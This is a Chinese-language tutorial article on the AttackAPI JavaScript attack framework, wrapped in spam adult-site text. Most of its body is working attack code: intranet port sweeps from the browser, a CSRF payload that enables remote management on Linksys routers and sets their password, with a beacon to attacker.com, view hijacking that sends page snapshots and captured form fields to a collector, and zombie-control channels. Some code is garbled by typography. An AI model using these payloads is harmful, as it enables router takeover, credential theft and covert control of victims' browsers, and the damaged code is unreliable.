成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

精通JavaScript攻擊框架:AttackAPI詳細做法

原創
安全 應用安全
能從客戶端提取信息只是攻擊者能夠做的事情中的一小部分而已。客戶端調查只是有預謀的攻擊的一個起點。XSS攻擊不僅僅關于客戶端安全。由于瀏覽器是在不安全的因特網和局域網之間的橋梁,因此攻擊者可以濫用不同的瀏覽器特性來定位和攻擊內部設備。

【51CTO.com 獨家特稿】多年來客戶端安全一直未引起人們的足夠重視,但是如今情況發生了急劇轉變,客戶端安全已經成為信息安全領域的焦點之一。Web惡意軟件、AJAX蠕蟲、瀏覽歷史暴破、登錄檢測、傀儡控制技術網絡端口掃描以及瀏覽器劫持等各種技術只是安全研究人員地下實驗室的部分技術,但是已經帶來了非常大的影響。

一種類型的安全專業浮現并變成主流利用機制時,供應廠商和個人就會開始發行框架和自動工具,來處理工具和測試過程。雖然供應廠商最初主要將精力放在AJAX審計工具方面,但是安全研究人員更關注的是連綿的系統邊界,以探索事實真相。由于存在多種可能的攻擊矢量,Web應用程序安全社區也建立了多個框架來探測、利用安全漏洞,從而揭示Web開發社區所面臨的種種問題。

我們在上篇向大家介紹了AttackAPI測試環境的搭設以及客戶端踩點的方法進行了詳盡的介紹,在本文中我們將對AttackAPI的其他用法做詳盡的介紹。

一、攻擊網絡

能從客戶端提取信息只是攻擊者能夠做的事情中的一小部分而已。客戶端調查只是有預謀的攻擊的一個起點。XSS攻擊不僅僅關于客戶端安全。由于瀏覽器是在不安全的因特網和局域網之間的橋梁,因此攻擊者可以濫用不同的瀏覽器特性來定位和攻擊內部設備。

下面考察一下如何在AttackAPI的幫助下對內部網發動攻擊。就像任何有計劃的網絡攻擊一樣,我們將要進行端口掃描:

$A.scanPorts({
target: 'www.gnucitizen.org',
ports: [80,81,443],
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log('completed!')
}
});

圖1

圖1展示了端口掃描結果,這是從我們的瀏覽器看到的。您可以看到瀏覽器正確的識別出端口80已經打開,而端口81和443被關閉了。

從瀏覽器進行端口掃描不是很精確,因此,您可能會收到許多誤報。要消除誤報,需要通過timeout參數對掃描過程進行調優,如下所示:

$A.scanPorts({
target: ‘www.gnucitizen.org’,
ports: [80,81,443],
timeout: 2000, // try with a couple of values to get better results
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});

現在,我們已經知道如何進行端口掃描了,那么您現在就可以嘗試通過類似于下列的東西來識別企業打印機已經打開了哪些端口:

$A.scanPorts({
target: ‘10.10.128.54’, // address to the internal printer IP address
ports: [80, 81, 443, 9100],
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});

參數timeout定義了端口掃描程序等待當前受測端口響應的時間長度,超過該段時間就將其標識為已關閉。如果受害者通過代理訪問內部Web資源的話,那么就掃描過程就會失敗。然而,這種設置非常罕見。

注意:Firefox和Opera不能掃描低于80的端口號。這是這兩個瀏覽器實現的一個安全特性,但是IE沒有這種限制。AttackAPI還能對一個網絡范圍內的端口進行掃描。這種技術就是平常所說的地毯式端口掃描,還可以通過AttackAPI的sweepPorts函數進行訪問。以下代碼演示了sweepPorts函數的能力:

$A.sweepPorts({
network: '212.211.193.100 - 212.211.193.110',
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log('completed!')
}
});
如果一切正常,您將看到如圖2所示的結果。

圖2

AttackAPI支持兩種表示地址范圍的方法,一種是“起始IP地址-終止IP地址”表示的地址范圍,另一種是IP/MASK[無類域間路由(CIDR)]表示的地址范圍。在這方面,可以使用以下代碼掃描11.11.66.0的C類地址范圍:

$A.sweepPorts({
network: ‘10.10.56.0/24’,
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});

為了操縱您自己的網絡和IP,可以使用一些AttackAPI實用程序,這些實用程序的名稱和用法概述如下:

var num = $A.ip2number(‘10.10.56.10’); // convert IP to number
console.log(num)
var ip = $A.number2ip(num); // effectively 168441866 is the same as 10.10.56.10
console.log(ip);
var range = $A.net2range(‘10.10.56.0/24’); // convert network to range
console.dir(range);
var net = $A.range2net(range); // reverse
console.log(net);

雖然識別出開放端口和工作的系統很重要,但是我們所能做的遠不止這些。例如,我們可以通過單個函數調用就能夠對內部路由器發動攻擊。

有大量的設備可以用來了解如何通往因特網。第一個設備是著名的缺省網關。如果您是無線用戶,它就是您的無線路由器。為了便于對這個路由器進行配置和安全設置,有時候允許通過因特網使用它的管理接口。下面是攻擊者悄悄地完成此任務的方法,只要受害者訪問一個惡意web頁面就足夠了:

$A.requestCSRF({
method: ‘POST’
url: (‘http://admin:admin@’+ $A.getInternalIP() ).replace(/.\d+$/, ‘.1’) +
‘/setup.cgi’,
query: {
remote_management: ‘enable’,
sysPasswd: ‘abc123’,
sysConfi rmPasswd: ‘abc123’
}
});

首先,我們調用requestCSRF函數,它是AttackAPI眾多請求函數中的一個,可以用于檢索或者調用遠程資源。與requestXML(它只對同源的資源有效)不同的是,requestCSRF無此限制,但是它對于調用者來說總是不可見的。這意味著,我們不能獲得返回的響應。

RequestCSRF函數被調用時可以帶有一些參數,第一個參數是定義發送方式,這里是POST。 然后,定義發送有效載荷的URL。注意,我們檢測客戶端的本地IP地址,然后通過前面所講解的方法將其轉換成默認網關地址。然后,我們添加路由器的默認證書。

無線用戶經常讓他們的路由器保持默認的訪問設置。當requestCSRF函數結束時,我們聲明要發送的實際有效載荷,這個是參數query。從查詢列表我們可以看到,遠程管理接口程序已經啟用,并且系統口令被設為“abc123”。

注意:這個函數使用了Linksys的無線路由器的默認證書。如果該路由器已經配置了其它的證書,它會為受害者提供一個基本認證框,表示在批準該請求前需要對他們進行身份驗證。記住,受害者不會知道在后臺發生了什么。它只是看起來連接已經終止,并且路由器試圖恢復控制——很多時候都會遇到這種情況——這也正是受害者樂意鍵入他們的證書并且批準該惡意請求的原因。

攻擊對用戶來說總是不可見的。如果認證得手,端口8080就會啟用,這樣就可以通過因特網來使用其管理接口了。這時,邊界路由器以及所有該網絡中的機器都已經完全落入攻擊者手中。

攻擊者可能想要做的事情是發送一個配置消息,指出該用戶的路由器已經被攻陷了,如下所示:

$A.requestCSRF({
method: ‘POST’
url: (‘http://admin:admin@’+ $A.getInternalIP() ).replace(/.\d+$/, ‘.1’) +
‘/setup.cgi’,
query: {
remote_management: ‘enable’,
sysPasswd: ‘abc123’,
sysConfi rmPasswd: ‘abc123’
},
onload: function () {
$A.requestIMG(‘http://attacker.com/confi rm_compromised.php’);
}
});

下面是一個真實的攻擊,并且會對Linksys的無線路由器造成損害。一旦攻擊者潛入您所在的網絡,他們就能夠做其他的事情,例如識別不同的本地設備,并盡可能地收集更多的信息。所以用戶不應該信賴來自任意頁面的JavaScript代碼,同時他們應該意識到在沒有保護的情況下沖浪所潛在的問題。

在前面部分,我們展示了經過scanStates函數可以發現已經登錄的用戶。然而,這個函數還有許多其他用途。由于scanStates基于特征碼,因此我們可以使用它檢測不同的網絡設備的類型和版本。特征碼是基于遠程訪問資源時包含一個腳本標簽所引起的錯誤信息的,例如一個不存在的資源導致的錯誤跟一個由存在的資源所導致的錯誤是有區別的,這意味著,提供一個足夠大的特征數據庫,我們就可以檢測不同的網絡設備、企業網站等等的類型和版本。攻擊者能夠成功的識別出您的機構的內部網密鑰體制的版本。如果其中有一些具有XSS或者CSRF漏洞,那么攻擊者就可以針對性的發動攻擊,從而取得受害者的會話的永久性的或者非永久性的控制權。

瀏覽器是有敵意的因特網和本地可信網絡這兩個世界間的一個溝通平臺,這使它成為攻擊者穿越兩個世界的理想平臺。在下列部分,我們將展示進入某人的路由器是多么的簡單,已及攻擊者是怎樣輕松通過控制其它的設備來破壞網絡的完整性的。

#p#

二、劫持瀏覽器

XSS攻擊的主要類型有兩種,持久性和非持久性攻擊。這里所說的持久性攻擊更加危險,因為用戶每次訪問被感染的資源時攻擊都會發生。這意味著,攻擊者可以在很長一段時間內控制著用戶的瀏覽器。

相反,非持久性XSS向量只發生在單個資源上,并且用戶一旦離開被感染的頁面,控制就會丟失。這意味著,攻擊者只能對他們發動一次攻擊。

之前我們曾提到,攻擊者可以設置一個陷阱,以便獲得對用戶長時間的非持久性的控制。通過AttackAPI提供的一些劫持技術,我們就能達到該目的。下面考察一下如何通過該程序庫來獲得對受害者的瀏覽器的持久性但是非穩定的控制。

在AttackAPI的firtest-interative.htm頁面中輸入下列命令:

$A.hijackView({url:‘http://www.google.com’});
幾秒鐘后,應該可以得到如圖3所示的結果。

圖3

如果一切正常,應該可以看到Google的首頁。您可能認為我們已經被重定向到Google,然而請注意地址欄并沒有任何變化。這意味著,雖然看到的是另一番景象,但實際上我們仍然位于firtest-interative.htm這個頁面中。可嘗試瀏覽Google,并進行一些搜索。注意,地址欄從來都不會發生任何的變化。很明顯,瀏覽器的視窗被一個非常短的URLs所劫持了。

因為,我們所看到的內容跟地址欄中的URL毫不相干。這里的hijackView函數大部分時候都能得手。另一方面,這種技術可以是成功施加到Kiosk模式的終端機。由于Kiosk 瀏覽器沒有提供地址欄,因此一旦攻擊者找到注入并執行JavaScript的方法,他們就可以獲得一個幾乎永久性的控制。

由于瀏覽器具有同源策略限制,因此雖然可以劫持視圖,但是卻不能讀取或者操縱它的內容,除非滿足同源策略的要求。在這方面,劫持了來自myspace.com 的用戶的攻擊者無法讀取這些用戶在google.com上的內容。記住,攻擊者仍然能控制用戶的瀏覽器視圖。當被劫持的用戶位于攻擊啟動域相同的域內時,攻擊者可以發動大量的攻擊來監視用戶的活動,從而收集很敏感的信息。下面看看如何通過AttackAPI達到此目的。

對于下面的演示,我們需要對一次真實的攻擊進行模擬,因此,我們將要使用AttackAPI的bookmarklet加載庫函數到一個真實的頁面上。您可以從www.gnucitizen.org/projects/load-AttackAPI-bookmarklet來復制AttackAPI的bookmarklet。 將該書簽放在你的書簽工具欄中,并來到cn.msn.com。一旦到達這里,打開Firebug控制臺。現在按下該書簽。AttackAPI將在幾秒鐘內載入。為了檢測是否已經加載好,可以輸入:

dir($A);

如果沒有出現$A對象,請再等一會兒,并重試。清空Firebug控制臺,然后輸入下列命令:

$A.hijackView({
onload: function () {
try {
var hijackedDocument = $A.getDocument(this);
var query = {};
query['snapshot_' + new Date().getTime()] =
hijackedDocument.body.innerHTML;
$A.transport({url: 'http://127.0.0.1:8888/collect.php', query:
query});
} catch(e) {}
}
});

執行該語句之前,返回系統提示符并讓NetCat偵聽端口8888,具體做法如前所述。一切就緒后,按下Run。幾秒后,將會看到當前視圖是怎么替換成一個被劫持的頁面的。來到cn.msn.com,同時注意你的NetCat屏幕。將會看到當前視圖的一個快照。這時NetCat將關閉。重新啟動它,繼續沖浪。您將繼續收到用戶的動作快照。

當然,NetCat不是收集這種類型的信息的最佳對象。您可能需要腳本之類的東西來保存這種類型的信息。現在讓我們為我們的腳本添加更多的功能。利用下列表達式,我們就能夠監視所有用戶發來的頁面和表單:

$A.hijackView({
onload: function () {
try {
var hijackedDocument = $A.getDocument(this);
var query = {};
query[‘snapshot_’ + new Date().getTime()] =
hijackedDocument.body.innerHTML;
$A.transport({url: ‘http://127.0.0.1:8888/collect.php’,
query: query});
for (var form in doc.forms)
$A.hijackForm({form: form, onsubmit: function () {
var fi elds = {};
for (var fi eld in this.fi elds)
fi elds[fi eld] = this.fi elds[fi eld];
var query = {};
query[‘form_’ + new Date().getTime()] =
$A.buildQuery(fi elds);
$A.transport({url: ‘http://127.0.0.1:8888/
collect.php’, query: query});
}});
} catch(e) {}
}
});

這個語句會產生一個惡意腳本,以監視受害者的一舉一動。您可能已經想到如果一個銀行或者電子商務站點上有一個XSS矢量時,類似的腳本會帶來多么嚴重的后果。

#p#

三、傀儡機器的控制

AttackAPI不僅提供了便于監視受害者的活動、收集受害者的敏感信息并且攻擊他們的內部網絡的機制,它提供的機制還很多,例如,我們還能夠控制他們的用戶體驗。

AttackAPI程序包具有一個專門的目錄,稱為inf ,它用來存放所有基礎設施檔案。到目前為止,該目錄中僅有一個文件即channel.php。AttackAPI的channel.php文件是一個PHP腳本,用以建立和管理在攻擊者和他們的受害者之間的雙向通信。

您可以擴展這個腳本,比如通過添加自己的后端來儲藏和操縱受害者的會話等,但是這不是本文的討論主題。要了解更多信息,請訪問AttackAPI項目頁面:www.gnucitizen.org/projects/AttackAPI。為了使用channel.php,我們必須把它放在一個支持PHP4或更高版本的主機上。同樣,可以使用AppServ來達到此目的。

從firetest-interactive.htm頁面中打開Firebug控制臺,并輸入下列命令(將localhost改成存放channel.php文件的服務器的地址):
$A.zombiefy(‘http://localhost/channel.php’);
如果channel.php腳本位于localhost上,上面這行命令會把當前瀏覽器掛到一個攻擊信道。現在打開另一個瀏覽器,并在其地址欄輸入下列URL:
http://localhost/channel.php?action=push&message=alert(‘Hello!’)
不一會兒,將會看到一個警告信息框出現在傀儡機瀏覽器上,說“Hello!”。這意味著,今后攻擊者可以向受害者發送命令,只要是他們在傀儡控制技術的作用范圍內。俘虜一個客戶端非常簡單,但是要控制傀儡機就需要一些技巧了。AttackAPI提供了一些函數,專門解決這些麻煩事。您可以通過生成一個信道接口來很輕松地控制傀儡機:

var channel = $A.spawnChannel(‘http://localhost/channel.php’);
channel.push(‘alert(“Hi There!”)’);
channel.onenum = function (data) {
console.log(data);
}
channel.enum();

這段代碼用具體例子說明了一個新的信道,它指向http://localhost/channel.php。可以使用下面的命令發送一個警告信息框:在腳本末尾處,我們將一個函數連到onenum處理程序上,并發出enum命令,這條命令將列出所有可用的客戶端,及其環境設置。

#p#

四、小結

多年來客戶端安全一直未引起人們的足夠重視,但是如今情況發生了急劇轉變,客戶端安全已經成為信息安全領域的焦點之一。Web惡意軟件、AJAX蠕蟲、瀏覽歷史暴破、登錄檢測、傀儡控制技術網絡端口掃描以及瀏覽器劫持等各種技術只是安全研究人員地下實驗室的部分技術,但是已經帶來了非常大的影響。

一種類型的安全專業浮現并變成主流利用機制時,供應廠商和個人就會開始發行框架和自動工具,來處理工具和測試過程。雖然供應廠商最初主要將精力放在AJAX審計工具方面,但是安全研究人員更關注的是連綿的系統邊界,以探索事實真相。由于存在多種可能的攻擊矢量,Web應用程序安全社區也建立了多個框架來探測、利用安全漏洞,從而揭示Web 開發社區所面臨的種種問題。

我們在上篇向大家介紹了AttackAPI測試環境的搭設以及客戶端踩點的方法進行了詳盡的介紹,在本文中我們將對AttackAPI的其他用法做詳盡的介紹,即利用它攻擊網絡、控制瀏覽器以及控制傀儡機。希望本文對讀者的安全測試工作能夠有所幫助。

【51CTO.COM 獨家特稿,轉載請注明出處及作者!】

【編輯推薦】

  1. 黑客如何利用Javascript逃避檢測入侵臺式電腦
  2. Adobe Acrobat和Reader被找出Javascript漏洞
  3. 分析ARP病毒是如何利用的Javascript技術的

責任編輯:王文文 來源: 51CTO.com
相關推薦

2009-02-12 17:05:21

2010-01-07 13:17:35

JSON變量

2019-08-01 10:44:23

JavaScript框架內存

2019-09-29 15:30:58

JavaScript框架V8

2022-04-08 09:35:36

JavaScript代碼

2009-06-08 16:45:00

精通StrutsTiles

2021-04-07 09:52:46

JavaScript函數劫持攻擊

2022-01-07 23:00:49

JavaScript安全工具

2009-06-19 14:49:43

Spring框架

2010-09-29 15:00:35

2010-09-16 11:13:02

2010-09-16 11:05:43

2010-09-30 10:01:38

2015-05-06 10:02:26

2021-01-13 11:25:12

JavaScript閉包函數

2021-04-01 10:16:01

EmacsJavaScript elisp

2009-09-29 10:00:40

Spring AOP框

2023-10-09 07:57:14

JavaJCF

2010-04-16 11:08:23

2010-09-08 15:10:48

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 中文字幕第一页在线 | 成人一区在线观看 | 亚洲一区精品在线 | 一级片在线观看 | 成人精品国产免费网站 | 免费av一区二区三区 | 亚洲精品一区二区 | 欧美free性| 97伊人 | 中文字幕第49页 | 欧美久久视频 | 亚洲精品www久久久 www.蜜桃av | 北条麻妃视频在线观看 | 二区三区av | 国产精品欧美一区二区三区不卡 | 日韩欧美成人一区二区三区 | 久久久久国产一区二区三区 | 在线观看免费黄色片 | 亚洲精品欧美一区二区三区 | 亚洲精品免费观看 | 日本久久精品视频 | 91久久国产综合久久 | 亚洲91精品 | 国产精品毛片一区二区三区 | av男人天堂影院 | av天天干 | 不卡一区二区在线观看 | 99久久免费精品国产免费高清 | 天堂综合网久久 | 黄色在线观看国产 | 粉嫩高清一区二区三区 | 日韩免费一区二区 | 欧美视频成人 | 视频一区二区在线观看 | 精品国产一区二区三区久久狼黑人 | 国产成人精品一区二 | 欧美天堂 | 久久久久电影 | 中文字幕一区二区三区在线观看 | 国产精品久久久久久久久免费相片 | 午夜精品一区二区三区在线视频 |